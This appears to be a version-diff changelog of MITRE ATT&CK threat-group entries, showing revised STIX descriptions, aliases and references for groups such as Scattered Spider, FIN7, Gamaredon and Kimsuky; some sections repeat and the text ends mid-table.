| description | [Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group that has been active since at least 2022.(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management and business-process outsourcing (BPO) firms as well as telecommunications and technology companies. Beginning in 2023, [Scattered Spider](https://attack.mitre.org/groups/G1015) expanded its operations to compromise victims in the gaming, hospitality, retail, MSP, manufacturing, and financial sectors.(Citation: MSTIC Octo Tempest Operations October 2023) During campaigns, [Scattered Spider](https://attack.mitre.org/groups/G1015) has leveraged targeted social-engineering techniques, attempted to bypass popular endpoint security tools, and more recently, deployed ransomware for financial gain.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: CrowdStrike Scattered Spider BYOVD January 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023)(Citation: Crowdstrike TELCO BPO Campaign December 2022) | [Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group active since at least 2022. (Citation: CrowdStrike Scattered Spider Profile) (Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management (CRM) providers, business process outsourcing (BPO) firms, and telecommunications and technology companies before expanding in 2023 to gaming, hospitality, retail, managed service provider (MSP), manufacturing, and financial sectors. (Citation: MSTIC Octo Tempest Operations October 2023) +[Scattered Spider](https://attack.mitre.org/groups/G1015) relies heavily on social engineering, including impersonating IT and help-desk staff, to gain initial access, bypass multi-factor authentication (MFA), and compromise enterprise networks. The group has adapted its tooling to evade endpoint detection and response (EDR) defenses and used ransomware for financial gain. (Citation: CISA Scattered Spider Advisory November 2023) (Citation: CrowdStrike Scattered Spider BYOVD January 2023) (Citation: Crowdstrike TELCO BPO Campaign December 2022) +[Scattered Spider](https://attack.mitre.org/groups/G1015) had expanded into hybrid cloud and identity environments, using help-desk impersonation and MFA bypass to obtain administrator access in Okta, AWS, and Office 365. (Citation: Mandiant UNC3944 May 2025) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 2.0 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | UNC3944 | |
| external_references | {'source_name': 'UNC3944', 'description': '(Citation: Mandiant UNC3944 May 2025)(Citation: Mandiant VMware vSphere JUL 2025)'} | |
| external_references | {'source_name': 'Mandiant VMware vSphere JUL 2025', 'description': 'Mandiant Incident Response. (2025, July 23). From Help Desk to Hypervisor: Defending Your VMware vSphere Estate from UNC3944. Retrieved October 13, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944'} | |
| external_references | {'source_name': 'Mandiant UNC3944 May 2025', 'description': 'Mandiant Incident Response. (2025, May 6). Defending Against UNC3944: Cybercrime Hardening Guidance from the Frontlines. Retrieved October 13, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/unc3944-proactive-hardening-recommendations'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-06-14 18:39:26.684000+00:00 | 2025-10-22 22:12:56.172000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | mobile-attack |
Current version: 3.0
Version changed from: 2.2 → 3.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-10 22:33:06.500000+00:00 | 2025-10-15 20:24:59.798000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 2.2 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Linen Typhoon | |
| external_references | {'source_name': 'Linen Typhoon', 'description': '(Citation: Microsoft Naming Conventions Frequently Updated)'} | |
| external_references | {'source_name': 'Microsoft Naming Conventions Frequently Updated', 'description': 'Microsoft. (2025, September 8). How Microsoft names threat actors. Retrieved September 10, 2025.', 'url': 'https://learn.microsoft.com/en-us/unified-secops-platform/microsoft-threat-actor-naming'} |
Current version: 4.2
Version changed from: 4.1 → 4.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-22 21:56:33.318000+00:00 | 2025-06-11 20:13:29.024000+00:00 |
| x_mitre_version | 4.1 | 4.2 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-09-16 16:18:00.876000+00:00 | 2025-06-06 14:55:18.144000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 4.1
Version changed from: 4.0 → 4.1
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [FIN7](https://attack.mitre.org/groups/G0046) is a financial | t | 1 | [FIN7](https://attack.mitre.org/groups/G0046) is a financial |
| > | ly-motivated threat group that has been active since 2013. [ | > | ly-motivated threat group that has been active since 2013. [ | ||
| > | FIN7](https://attack.mitre.org/groups/G0046) has primarily t | > | FIN7](https://attack.mitre.org/groups/G0046) has targeted th | ||
| > | argeted the retail, restaurant, hospitality, software, consu | > | e retail, restaurant, hospitality, software, consulting, fin | ||
| > | lting, financial services, medical equipment, cloud services | > | ancial services, medical equipment, cloud services, media, f | ||
| > | , media, food and beverage, transportation, and utilities in | > | ood and beverage, transportation, pharmaceutical, and utilit | ||
| > | dustries in the U.S. A portion of [FIN7](https://attack.mitr | > | ies industries in the United States. A portion of [FIN7](htt | ||
| > | e.org/groups/G0046) was run out of a front company called Co | > | ps://attack.mitre.org/groups/G0046) was operated out of a fr | ||
| > | mbi Security and often used point-of-sale malware for target | > | ont company called Combi Security and often used point-of-sa | ||
| > | ing efforts. Since 2020, [FIN7](https://attack.mitre.org/gro | > | le malware for targeting efforts. Since 2020, [FIN7](https:/ | ||
| > | ups/G0046) shifted operations to a big game hunting (BGH) ap | > | /attack.mitre.org/groups/G0046) shifted operations to big ga | ||
| > | proach including use of [REvil](https://attack.mitre.org/sof | > | me hunting (BGH), including use of [REvil](https://attack.mi | ||
| > | tware/S0496) ransomware and their own Ransomware as a Servic | > | tre.org/software/S0496) ransomware and their own Ransomware- | ||
| > | e (RaaS), Darkside. FIN7 may be linked to the [Carbanak](htt | > | as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Ca | ||
| > | ps://attack.mitre.org/groups/G0008) Group, but there appears | > | rbanak](https://attack.mitre.org/groups/G0008) Group, but mu | ||
| > | to be several groups using [Carbanak](https://attack.mitre. | > | ltiple threat groups have been observed using [Carbanak](htt | ||
| > | org/software/S0030) malware and are therefore tracked separa | > | ps://attack.mitre.org/software/S0030), leading these groups | ||
| > | tely.(Citation: FireEye FIN7 March 2017)(Citation: FireEye F | > | to be tracked separately.(Citation: FireEye FIN7 March 2017) | ||
| > | IN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citati | > | (Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBAN | ||
| > | on: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spid | > | AK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: Cro | ||
| > | er August 2021)(Citation: Mandiant FIN7 Apr 2022) | > | wdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 | ||
| > | Apr 2022)(Citation: BiZone Lizar May 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-17 22:09:41.004000+00:00 | 2025-10-24 03:18:58.136000+00:00 |
| description | [FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has primarily targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, and utilities industries in the U.S. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022) | [FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, pharmaceutical, and utilities industries in the United States. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was operated out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to big game hunting (BGH), including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware-as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but multiple threat groups have been observed using [Carbanak](https://attack.mitre.org/software/S0030), leading these groups to be tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)(Citation: BiZone Lizar May 2021) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 4.0 | 4.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'BiZone Lizar May 2021', 'description': 'BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022.', 'url': 'https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319'} | |
| x_mitre_contributors | Eric Loui, CrowdStrike Intelligence | |
| x_mitre_contributors | Serhii Melnyk, Trustwave SpiderLabs |
Current version: 3.2
Version changed from: 3.1 → 3.2
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Gamaredon Group](https://attack.mitre.org/groups/G0047) is | t | 1 | [Gamaredon Group](https://attack.mitre.org/groups/G0047) is |
| > | a suspected Russian cyber espionage threat group that has ta | > | a suspected Russian cyber espionage group that has targeted | ||
| > | rgeted military, NGO, judiciary, law enforcement, and non-pr | > | military, law enforcement, judiciary, non-profit, and non-go | ||
| > | ofit organizations in Ukraine since at least 2013. The name | > | vernmental organizations in Ukraine since at least 2013. The | ||
| > | [Gamaredon Group](https://attack.mitre.org/groups/G0047) com | > | name [Gamaredon Group](https://attack.mitre.org/groups/G004 | ||
| > | es from a misspelling of the word "Armageddon", which was de | > | 7) derives from a misspelling of the word "Armageddon," foun | ||
| > | tected in the adversary's early campaigns.(Citation: Palo Al | > | d in early campaigns.(Citation: Palo Alto Gamaredon Feb 2017 | ||
| > | to Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April | > | )(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET | ||
| > | 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec | > | Gamaredon June 2020)(Citation: Symantec Shuckworm January 20 | ||
| > | Shuckworm January 2022)(Citation: Microsoft Actinium Februa | > | 22)(Citation: Microsoft Actinium February 2022) In November | ||
| > | ry 2022) In November 2021, the Ukrainian government publicl | > | 2021, the Ukrainian government publicly attributed [Gamared | ||
| > | y attributed [Gamaredon Group](https://attack.mitre.org/grou | > | on Group](https://attack.mitre.org/groups/G0047) to Russia’s | ||
| > | ps/G0047) to Russia's Federal Security Service (FSB) Center | > | Federal Security Service (FSB) Center 18, an assessment lat | ||
| > | 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)( | > | er supported by multiple independent cybersecurity researche | ||
| > | Citation: Microsoft Actinium February 2022) | > | rs. (Citation: Bleepingcomputer Gamardeon FSB November 2021) | ||
| > | (Citation: Microsoft Actinium February 2022) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-09-23 20:34:43.022000+00:00 | 2025-10-24 01:05:47.958000+00:00 |
| description | [Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word "Armageddon", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022) + +In November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia's Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022) | [Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage group that has targeted military, law enforcement, judiciary, non-profit, and non-governmental organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) derives from a misspelling of the word "Armageddon," found in early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022) + +In November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia’s Federal Security Service (FSB) Center 18, an assessment later supported by multiple independent cybersecurity researchers. (Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 3.1 | 3.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-11 02:19:20.934000+00:00 | 2025-10-22 02:54:00.893000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.6
Version changed from: 1.5 → 1.6
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-17 23:51:01.110000+00:00 | 2025-10-21 23:13:16.458000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.5 | 1.6 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-09-16 16:23:56.908000+00:00 | 2025-10-22 03:04:28.916000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.6
Version changed from: 1.5 → 1.6
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-18 18:24:29.185000+00:00 | 2025-10-21 23:19:38.101000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.5 | 1.6 |
Current version: 2.3
Version changed from: 2.2 → 2.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-04 17:09:39.718000+00:00 | 2025-10-15 20:39:25.843000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 2.2 | 2.3 |
Current version: 5.1
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North | t | 1 | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North |
| > | Korea-based cyber espionage group that has been active since | > | Korea-based cyber espionage group that has been active since | ||
| > | at least 2012. The group initially focused on targeting Sou | > | at least 2012. The group initially targeted South Korean go | ||
| > | th Korean government entities, think tanks, and individuals | > | vernment agencies, think tanks, and subject-matter experts i | ||
| > | identified as experts in various fields, and expanded its op | > | n various fields. Its operations expanded to include the Uni | ||
| > | erations to include the UN and the government, education, bu | > | ted Nations and organizations in the government, education, | ||
| > | siness services, and manufacturing sectors in the United Sta | > | business services, and manufacturing sectors across the Unit | ||
| > | tes, Japan, Russia, and Europe. [Kimsuky](https://attack.mit | > | ed States, Japan, Russia, and Europe. [Kimsuky](https://atta | ||
| > | re.org/groups/G0094) has focused its intelligence collection | > | ck.mitre.org/groups/G0094) has focused collection on foreign | ||
| > | activities on foreign policy and national security issues r | > | policy and national security issues tied to the Korean Peni | ||
| > | elated to the Korean peninsula, nuclear policy, and sanction | > | nsula, nuclear policy, and sanctions. Its operations have ov | ||
| > | s. [Kimsuky](https://attack.mitre.org/groups/G0094) operatio | > | erlapped with other DPRK actors, likely due to ad hoc collab | ||
| > | ns have overlapped with those of other North Korean cyber es | > | oration or limited resource sharing.(Citation: EST Kimsuky A | ||
| > | pionage actors likely as a result of ad hoc collaborations o | > | pril 2019)(Citation: Cybereason Kimsuky November 2020)(Citat | ||
| > | r other limited resource sharing.(Citation: EST Kimsuky Apri | > | ion: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301 | ||
| > | l 2019)(Citation: Cybereason Kimsuky November 2020)(Citation | > | A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Pr | ||
| > | : Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A K | > | oofpoint TA427 April 2024) Because of overlapping operations | ||
| > | imsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proof | > | , some researchers group a wide range of North Korean state- | ||
| > | point TA427 April 2024) [Kimsuky](https://attack.mitre.org/ | > | sponsored cyber activity under the broader [Lazarus Group](h | ||
| > | groups/G0094) was assessed to be responsible for the 2014 Ko | > | ttps://attack.mitre.org/groups/G0032) umbrella rather than t | ||
| > | rea Hydro & Nuclear Power Co. compromise; other notable camp | > | racking separate subgroup or cluster distinctions. [Kimsuky | ||
| > | aigns include Operation STOLEN PENCIL (2018), Operation Kaba | > | ](https://attack.mitre.org/groups/G0094) was assessed to be | ||
| > | r Cobra (2019), and Operation Smoke Screen (2019).(Citation: | > | responsible for the 2014 Korea Hydro & Nuclear Power Co. com | ||
| > | Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky Smok | > | promise; other notable campaigns include Operation STOLEN PE | ||
| > | eScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb | > | NCIL (2018), Operation Kabar Cobra (2019), and Operation Smo | ||
| > | 2019) North Korean group definitions are known to have sig | > | ke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018) | ||
| > | nificant overlap, and some security researchers report all N | > | (Citation: EST Kimsuky SmokeScreen April 2019)(Citation: Ahn | ||
| > | orth Korean state-sponsored cyber activity under the name [L | > | Lab Kimsuky Kabar Cobra Feb 2019) In 2023, [Kimsuky](https: | ||
| > | azarus Group](https://attack.mitre.org/groups/G0032) instead | > | //attack.mitre.org/groups/G0094) was observed using commerci | ||
| > | of tracking clusters or subgroups. In 2023, [Kimsuky](http | > | al large language models to assist with vulnerability resear | ||
| > | s://attack.mitre.org/groups/G0094) has used commercial large | > | ch, scripting, social engineering and reconnaissance.(Citati | ||
| > | language models to assist with vulnerability research, scri | > | on: MSFT-AI) | ||
| > | pting, social engineering and reconnaissance.(Citation: MSFT | ||||
| > | -AI) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-01-29 21:17:48.165000+00:00 | 2025-10-24 00:59:31.235000+00:00 |
| description | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the UN and the government, education, business services, and manufacturing sectors in the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions. [Kimsuky](https://attack.mitre.org/groups/G0094) operations have overlapped with those of other North Korean cyber espionage actors likely as a result of ad hoc collaborations or other limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024) + +[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019) + +North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups. + +In 2023, [Kimsuky](https://attack.mitre.org/groups/G0094) has used commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.(Citation: MSFT-AI) | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially targeted South Korean government agencies, think tanks, and subject-matter experts in various fields. Its operations expanded to include the United Nations and organizations in the government, education, business services, and manufacturing sectors across the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused collection on foreign policy and national security issues tied to the Korean Peninsula, nuclear policy, and sanctions. Its operations have overlapped with other DPRK actors, likely due to ad hoc collaboration or limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024) Because of overlapping operations, some researchers group a wide range of North Korean state-sponsored cyber activity under the broader [Lazarus Group](https://attack.mitre.org/groups/G0032) umbrella rather than tracking separate subgroup or cluster distinctions. + +[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019) + +In 2023, [Kimsuky](https://attack.mitre.org/groups/G0094) was observed using commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.(Citation: MSFT-AI) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 6.0
Description:
MuddyWater is a cyber espionage group assessed to be a subordinate element within Iran's Ministry of Intelligence and Security (MOIS).(Citation: CYBERCOM Iranian Intel Cyber January 2022) Since at least 2017, MuddyWater has targeted a range of government and private organizations across sectors, including telecommunications, local government, defense, and oil and natural gas organizations, in the Middle East, Asia, Africa, Europe, and North America.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: Talos MuddyWater Jan 2022)
Current version: 2.0
Description:
Star Blizzard is a cyber espionage and influence group originating in Russia that has been active since at least 2019. Star Blizzard campaigns align closely with Russian state interests and have included persistent phishing and credential theft against academic, defense, government, NGO, and think tank organizations in NATO countries, particularly the US and the UK.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)(Citation: StarBlizzard)(Citation: Google TAG COLDRIVER January 2024)
Current version: 3.0
Version changed from: 2.0 → 3.0
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Scattered Spider](https://attack.mitre.org/groups/G1015) is | t | 1 | [Scattered Spider](https://attack.mitre.org/groups/G1015) is |
| > | a native English-speaking cybercriminal group that has been | > | a native English-speaking cybercriminal group active since | ||
| > | active since at least 2022.(Citation: CrowdStrike Scattered | > | at least 2022. (Citation: CrowdStrike Scattered Spider Profi | ||
| > | Spider Profile)(Citation: MSTIC Octo Tempest Operations Oct | > | le) (Citation: MSTIC Octo Tempest Operations October 2023) T | ||
| > | ober 2023) The group initially targeted customer relationshi | > | he group initially targeted customer relationship management | ||
| > | p management and business-process outsourcing (BPO) firms as | > | (CRM) providers, business process outsourcing (BPO) firms, | ||
| > | well as telecommunications and technology companies. Beginn | > | and telecommunications and technology companies before expan | ||
| > | ing in 2023, [Scattered Spider](https://attack.mitre.org/gro | > | ding in 2023 to gaming, hospitality, retail, managed service | ||
| > | ups/G1015) expanded its operations to compromise victims in | > | provider (MSP), manufacturing, and financial sectors. (Cita | ||
| > | the gaming, hospitality, retail, MSP, manufacturing, and fin | > | tion: MSTIC Octo Tempest Operations October 2023) [Scattered | ||
| > | ancial sectors.(Citation: MSTIC Octo Tempest Operations Octo | > | Spider](https://attack.mitre.org/groups/G1015) relies heavi | ||
| > | ber 2023) During campaigns, [Scattered Spider](https://attac | > | ly on social engineering, including impersonating IT and hel | ||
| > | k.mitre.org/groups/G1015) has leveraged targeted social-engi | > | p-desk staff, to gain initial access, bypass multi-factor au | ||
| > | neering techniques, attempted to bypass popular endpoint sec | > | thentication (MFA), and compromise enterprise networks. The | ||
| > | urity tools, and more recently, deployed ransomware for fina | > | group has adapted its tooling to evade endpoint detection an | ||
| > | ncial gain.(Citation: CISA Scattered Spider Advisory Novembe | > | d response (EDR) defenses and used ransomware for financial | ||
| > | r 2023)(Citation: CrowdStrike Scattered Spider BYOVD January | > | gain. (Citation: CISA Scattered Spider Advisory November 202 | ||
| > | 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citat | > | 3) (Citation: CrowdStrike Scattered Spider BYOVD January 202 | ||
| > | ion: MSTIC Octo Tempest Operations October 2023)(Citation: C | > | 3) (Citation: Crowdstrike TELCO BPO Campaign December 2022) | ||
| > | rowdstrike TELCO BPO Campaign December 2022) | > | [Scattered Spider](https://attack.mitre.org/groups/G1015) ha | ||
| > | d expanded into hybrid cloud and identity environments, usin | ||||
| > | g help-desk impersonation and MFA bypass to obtain administr | ||||
| > | ator access in Okta, AWS, and Office 365. (Citation: Mandian | ||||
| > | t UNC3944 May 2025) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-04 21:24:48.602000+00:00 | 2025-10-24 02:30:51.936000+00:00 |
| description | [Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group that has been active since at least 2022.(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management and business-process outsourcing (BPO) firms as well as telecommunications and technology companies. Beginning in 2023, [Scattered Spider](https://attack.mitre.org/groups/G1015) expanded its operations to compromise victims in the gaming, hospitality, retail, MSP, manufacturing, and financial sectors.(Citation: MSTIC Octo Tempest Operations October 2023) During campaigns, [Scattered Spider](https://attack.mitre.org/groups/G1015) has leveraged targeted social-engineering techniques, attempted to bypass popular endpoint security tools, and more recently, deployed ransomware for financial gain.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: CrowdStrike Scattered Spider BYOVD January 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023)(Citation: Crowdstrike TELCO BPO Campaign December 2022) | [Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group active since at least 2022. (Citation: CrowdStrike Scattered Spider Profile) (Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management (CRM) providers, business process outsourcing (BPO) firms, and telecommunications and technology companies before expanding in 2023 to gaming, hospitality, retail, managed service provider (MSP), manufacturing, and financial sectors. (Citation: MSTIC Octo Tempest Operations October 2023) +[Scattered Spider](https://attack.mitre.org/groups/G1015) relies heavily on social engineering, including impersonating IT and help-desk staff, to gain initial access, bypass multi-factor authentication (MFA), and compromise enterprise networks. The group has adapted its tooling to evade endpoint detection and response (EDR) defenses and used ransomware for financial gain. (Citation: CISA Scattered Spider Advisory November 2023) (Citation: CrowdStrike Scattered Spider BYOVD January 2023) (Citation: Crowdstrike TELCO BPO Campaign December 2022) +[Scattered Spider](https://attack.mitre.org/groups/G1015) had expanded into hybrid cloud and identity environments, using help-desk impersonation and MFA bypass to obtain administrator access in Okta, AWS, and Office 365. (Citation: Mandiant UNC3944 May 2025) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 2.0 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | UNC3944 | |
| external_references | {'source_name': 'UNC3944', 'description': '(Citation: Mandiant UNC3944 May 2025)(Citation: Mandiant VMware vSphere JUL 2025)'} | |
| external_references | {'source_name': 'Mandiant VMware vSphere JUL 2025', 'description': 'Mandiant Incident Response. (2025, July 23). From Help Desk to Hypervisor: Defending Your VMware vSphere Estate from UNC3944. Retrieved October 13, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944'} | |
| external_references | {'source_name': 'Mandiant UNC3944 May 2025', 'description': 'Mandiant Incident Response. (2025, May 6). Defending Against UNC3944: Cybercrime Hardening Guidance from the Frontlines. Retrieved October 13, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/unc3944-proactive-hardening-recommendations'} |
Current version: 4.2
Version changed from: 4.1 → 4.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-22 21:56:33.318000+00:00 | 2025-06-11 20:13:29.024000+00:00 |
| x_mitre_version | 4.1 | 4.2 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
